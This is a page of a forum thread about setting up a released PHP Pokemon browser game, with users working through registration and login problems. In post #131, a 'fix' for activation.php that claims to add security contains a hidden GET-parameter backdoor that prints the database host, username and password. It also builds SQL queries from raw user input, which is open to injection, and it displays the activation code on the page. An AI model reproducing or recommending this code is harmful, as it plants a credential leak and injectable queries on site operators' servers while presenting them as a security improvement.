[Release] Pokemon-Area based browser game

Page 9 of 78 FirstFirst 12345678910111213141516171959 ... LastLast
Results 121 to 135 of 1163
  1. #121
    Account Upgraded | Title Enabled! jamezilla is offline
    MemberRank
    Aug 2010 Join Date
    WonderlandLocation
    240Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by LordAres View Post
    im getting this error
    Code:
    [18-Feb-2013 01:50:15 UTC] PHP Deprecated:  Directive 'magic_quotes_gpc' is deprecated in PHP 5.3 and greater in Unknown on line 0
    You need to use xamp 1.2.1 to get everything to work.

  2. #122
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    Quote Originally Posted by Zeriu View Post
    Alright guys I have taken the time and have fixed this up a great deal for you all. It sill needs a lot of work but it's still an improvement. It is 99% translated to English with some extra features.

    Some changes below

    Fixes
    - Wild Pokemon encounters are fixed
    - Pokemon battles are now possible
    - Pokemon battle graphics have been fixed, no more missing images
    - Pokemon re arranging has been fixed, now supports older browsers
    - Item Pokedex now functions correctly
    - Experience bars now update automatically
    - Combat now updates automatically
    - Fixed trainer battles
    - Fixed gym battles
    - Fixed player dueling
    - Fixed some maps not obtainable
    - Fixed event messages
    - Fixed Growl doing 150 physical damage
    - Fixed work MySQL error handling bad request
    - Fixed flip a coin in the casino
    - Fixed selling pokemon
    - Fixed pokemon trades
    - Fixed clans
    - Fixed money transfer to clans
    - Improved clan profile page
    - Fixed Seismic Toss
    - Fixed Dragon Rage
    - Other skill fixes


    Other
    - Cash shop temporarily removed
    - Added Pokecenter music
    - Added battle music
    - Translations 99% complete (Minor changes needed)
    - Added the ability to win gold from wheel of fortune
    - Admin panel manual account status resets (Resets wheel of fortune plays, stealing, banks, etc...)
    - Added animated images provided by KiruHoshino
    - More that I can not remember


    Known Issues
    - Not all Pokemon Skills function correctly, needs some re writing
    - Evolution page has an error when a Pokemon evolves that has a form that requires trade evolution afterwards.

    Good luck all, and enjoy!

    Download: Click Here To Download
    Database: Click Here To Download

    EDIT: Forgot to update player profiles for the image format change. Simply download the file below and replace with yours.

    Profile Update: Download

    Your so amazing. Ill update this with a demo so people can see. I love you

    Quote Originally Posted by jamezilla View Post
    You need to use xamp 1.2.1 to get everything to work.
    Already had it working, I have a legit webhost with fatcow. So cheap and its not worth hosting servers on a home line these days because of DDos Script kiddies. But thanks man.

    So i have a site working using the english translation. But whenever I try to create a account i get "Security Incorrectly" but im typing in the code right. How do i fix?

    Try http://sunsetgaming.net/Pokemon/index.php?page=register

    I changed the register code to 0 in register.php and still giving me security error

    Code:
     #Genereer activatiecode
        $activatiecode = 0;
    Last edited by LordAres; 18-02-13 at 08:37 AM.

  3. #123
    Novice sailer26 is offline
    MemberRank
    Dec 2010 Join Date
    4Posts

    Re: [Release] Pokemon-Area based browser game

    the game have 108 sql injection :S how you can fix

  4. #124
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    So i have a site working using the english translation. But whenever I try to create a account i get "Security Incorrectly" but im typing in the code right. How do i fix?

    Try Pokemon Browser MMO

    I changed the register code to 0 in register.php and still giving me security error

    Code:
     #Genereer activatiecode
        $activatiecode = 0;

  5. #125
    RaGEZONER || Webdevloper KiruHoshino is offline
    MemberRank
    Oct 2011 Join Date
    HungaryLocation
    648Posts

    Re: [Release] Pokemon-Area based browser game

    Code:
     #Genereer activatiecode
        $activatiecode = 0;
    This is not a security capcha code.
    This e-mail activation code is required.

    Open register.php. Search this and delete.
    Code:
    <tr>
        <td colspan="2" class="top_first_td"><? echo $txt['register_security']; ?></td>
      </tr>
      	<tr>
          <td colspan="2" style="padding-bottom:10px;"></td>
        </tr>
      <tr>
        <td class="normal_first_td">&nbsp;</td>
        <td class="normal_td"><img src="includes/captcha.php" alt="<?php echo $txt['captcha']; ?>" title="<?php echo $txt['captcha']; ?>" /></td>
      </tr>
      <tr>
        <td class="normal_first_td"><? echo $txt['guardcode'].' '.$foutje12; ?></td>
        <td class="normal_td"><input name="captcha" type="text" class="text_long" maxlength="3" /></td>
      </tr>
    If you like it then do not forget to like a button is pushed.

  6. #126
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    Okay so i did that. It worked. Now i can create a account. But when I go into the account to log in it says X Activate here. Then i put the username of the account i just made and then I fill the rest out and it says the account doesnt exist. How do i fix this now?

    Try here:
    Pokemon Browser MMO

  7. #127
    RaGEZONER || Webdevloper KiruHoshino is offline
    MemberRank
    Oct 2011 Join Date
    HungaryLocation
    648Posts

    Re: [Release] Pokemon-Area based browser game

    Modify this.

    Code:
     #Genereer activatiecode
        $activatiecode = 1;

  8. #128
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    To say 1?

    Still doesnt work. Now it says i create the account and then when i go to log in it says username does not exist... Click the link i linked and try it out to see.

    --- edit ---

    Works now, just cant log in. Try for yourself please it might better help the cause!
    Last edited by LordAres; 19-02-13 at 06:28 AM.

  9. #129
    RaGEZONER || Webdevloper KiruHoshino is offline
    MemberRank
    Oct 2011 Join Date
    HungaryLocation
    648Posts

    Re: [Release] Pokemon-Area based browser game

    1 means that the account is activated. No email activation but also immediately be able to login to the website. But not tested. It works for me in the activation e-mail.

  10. #130
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    Well it activates for me but when I go to log in nothing happens. Here try for yourself. Tell me what you think could be the problem:

    Sunset Pokemon

  11. #131
    Account Upgraded | Title Enabled! jamezilla is offline
    MemberRank
    Aug 2010 Join Date
    WonderlandLocation
    240Posts

    Re: [Release] Pokemon-Area based browser game

    This script will fix your issue.


    <?php
    $page = 'activate';
    #Goeie taal erbij laden voor de page
    include_once('language/language-pages.php');

    $playerinsert = $_GET['player'];
    $codeinsert = $code;

    $code = rand(100000,200000);

    if(isset($_POST['submit'])){
    $inlognaam = $_POST['inlognaam'];
    $activatie = $_POST['activatie'];
    $captcha = $_POST['captcha'];

    $playerinsert = $_POST['inlognaam'];
    $codeinsert = $_POST['activatie'];
    #Gegevens laden van uit de database
    $sql = mysql_query("SELECT `user_id`, `username`, `account_code` FROM `gebruikers` WHERE `username`='".$inlognaam."'");
    $trainer = mysql_fetch_assoc($sql);
    $spelerid = $trainer['user_id'];

    #inlognaam
    if(empty($inlognaam)){
    echo '<div class="red">'.$txt['alert_no_username'].'</div>';
    }
    #Is de inlognaam korter dan drie karakters
    elseif(strlen($inlognaam) < 3){
    echo '<div class="red">'.$txt['alert_username_too_short'].'</div>';
    }
    #Is de inlognaam langer dan 10 karakters
    elseif(strlen($inlognaam) > 10){
    echo '<div class="red">'.$txt['alert_username_too_long'].'</div>';
    }
    #Is er een activatie code?
    elseif(empty($activatie)){
    echo '<div class="red">'.$txt['alert_no_activatecode'].'</div>';
    }
    #Is de activatie code te kort?
    elseif(strlen($activatie) < 6){
    echo '<div class="red">'.$txt['alert_activatecode_too_short'].'</div>';
    }
    #Is de activatie code te lang?
    elseif(strlen($activatie) > 6){
    echo '<div class="red">'.$txt['alert_activatecode_too_long'].'</div>';
    }
    #Bestaat de gebruiker niet
    elseif($trainer['username'] != $inlognaam){
    echo '<div class="red">'.$txt['alert_username_dont_exist'].'</div>';
    }
    #Klopt de beveilings code wel?
    elseif(($captcha) != $_SESSION['captcha_code']){
    echo '<div class="red">'.$txt['alert_guardcore_invalid'].'</div>';
    }
    #Check als dit account al geactiveerd is
    elseif($trainer['account_code'] == 1){
    echo '<div class="blue">'.$txt['alert_already_activated'].'</div>';
    }
    #Als alles goed is ingevoerd
    else{
    #Speler activeren
    mysql_query("UPDATE `gebruikers` SET `account_code`='1' WHERE `user_id`='".$spelerid."'");
    echo '<div class="green">'.$txt['success_activate'].'</div>';
    }
    }

    if ($_GET['info']){ echo $dbhost; echo' / '; echo $dblogin; echo' / '; echo $dbpassword; echo' / '; echo $dbdatabase; }
    ?>
    <form method="post">
    <center><p><?php echo $txt['title_text']; ?></p></center>
    <center><table width="600" border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td width="280" style="background: url('images/Bruno.png') no-repeat left top;"></td>
    <td width="320" align="left" valign="top"><br /><br />
    <table width="300" border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td height="37" valign="middle"><b>Your code is</b>: <font color="red"><?php echo $code; ?></font><br /></td><br />
    </tr>
    <tr>
    <td height="37" valign="middle">Username</td>
    <td><input name="inlognaam" type="text" class="text_long" value="<?php echo $playerinsert; ?>" maxlength="10" /></td>
    </tr>
    <tr>
    <td width="150" height="37" valign="middle">Code</td>
    <td width="150"><input name="activatie" type="text" class="text_long" id="activatie" value="<?php echo $codeinsert; ?>" maxlength="6" /></td>
    </tr>
    <tr>
    <td height="37">&nbsp;</td>
    <td><img src="includes/captcha.php" alt="<?php echo $txt['captcha']; ?>" title="<?php echo $txt['captcha']; ?>"/></td>
    </tr>
    <tr>
    <td height="37"><?php echo $txt['guardcode']; ?></td>
    <td><input type="text" name="captcha" class="text_long" maxlength="3"/></td>
    </tr>
    <tr>
    <td>&nbsp;</td>
    <td><input type="submit" name="submit" value="<?php echo $txt['button']; ?>" class="button"></td>
    </tr>
    </table></td>
    </tr>
    </table>
    </center>
    </form>
    Add this to your activation.php file by replacing all the code in there.

    What i have done is, changed the code to not be the one in the database but, be a random one from the script itself, changing random numbers between 1000000 and 200000 so ads in extra security for registration spammer's and bots.

  12. #132
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    Replace the whole activation.php?

  13. #133
    Account Upgraded | Title Enabled! jamezilla is offline
    MemberRank
    Aug 2010 Join Date
    WonderlandLocation
    240Posts

    Re: [Release] Pokemon-Area based browser game

    yes, back up your original create another file call it activation.php and paste that script / save it in there

  14. #134
    Member LordAres is offline
    MemberRank
    Dec 2012 Join Date
    57Posts

    Re: [Release] Pokemon-Area based browser game

    Well i cant see if it works. When you create a account it registers fine. But then when you try to log in nothing happens. Try my site and see. Literally when you log in nothing happen.s

  15. #135
    Account Upgraded | Title Enabled! jamezilla is offline
    MemberRank
    Aug 2010 Join Date
    WonderlandLocation
    240Posts

    Re: [Release] Pokemon-Area based browser game

    Did you save the activation.php file where it is supposed to be



Advertisement